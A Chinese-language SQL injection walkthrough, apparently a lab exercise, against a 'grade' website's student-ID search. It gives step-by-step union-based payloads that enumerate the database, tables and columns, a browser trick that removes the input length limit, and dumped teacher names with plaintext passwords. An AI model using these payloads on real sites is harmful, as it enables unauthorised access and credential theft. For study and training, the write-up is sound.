对grade网站进行漏洞探测,爆出任意表的账号密码。
基本信息:
网站截图
1.对grade网站进行漏洞探测,爆出任意表的账号密码。
在查询学号处
1) 猜测的用户admin,查询学号成功
2)输入 admin and 1=1,发现能够正确执行没有报错,但没有查出学号,说明可能是字符型注入
admin and 1=1
3)输入admin’ and 1=1 – - ,执行成功,且查出学号,确定是字符型注入
admin' and 1=1 -- -
4)order by 判断显示字段数
admin’ order by 1 – - 正常显示;
admin' order by 1 -- -
admin’ order by 2 – -异常,故只有一个字段显示,可构造union slect 1
admin' order by 2 -- -
5)爆库:admin’ union select database() – -,数据库grade
admin' union select database() -- -
6)爆表:admin’ union select group_concat(table_name) from information_schema.tables where table_schema =‘grade’ – -
admin' union select group_concat(table_name) from information_schema.tables where table_schema ='grade' -- -
查询结果:
admins,classes,english,networks,students,teachers
注:在输入sql注入语句时,发现输入数据长度被限制,出现以下错误:
可以在输入栏右键 -->检查 –> 在中maxlength="50"删去,就可以输入更多数据了
7)爆字段(teachers表):
admin’ union select group_concat(column_name) from information_schema.columns where table_schema =‘grade’ and table_name = ‘teachers’ – -
admin' union select group_concat(column_name) from information_schema.columns where table_schema ='grade' and table_name = 'teachers' -- -
查询结果:
id,name,pass
8)爆数据:
admin’ union select group_concat(id,0x23,name,0x23,pass) from teachers – -
admin' union select group_concat(id,0x23,name,0x23,pass) from teachers
查询结果:
2001#fengwanzhong#feng001,2002#yunankun#yu002
0x23表示#
这里用#分隔字段,逗号分隔行;
这里只是对该网站比较简单是sql注入,还有其他的注入点和注入方式不作过多讨论。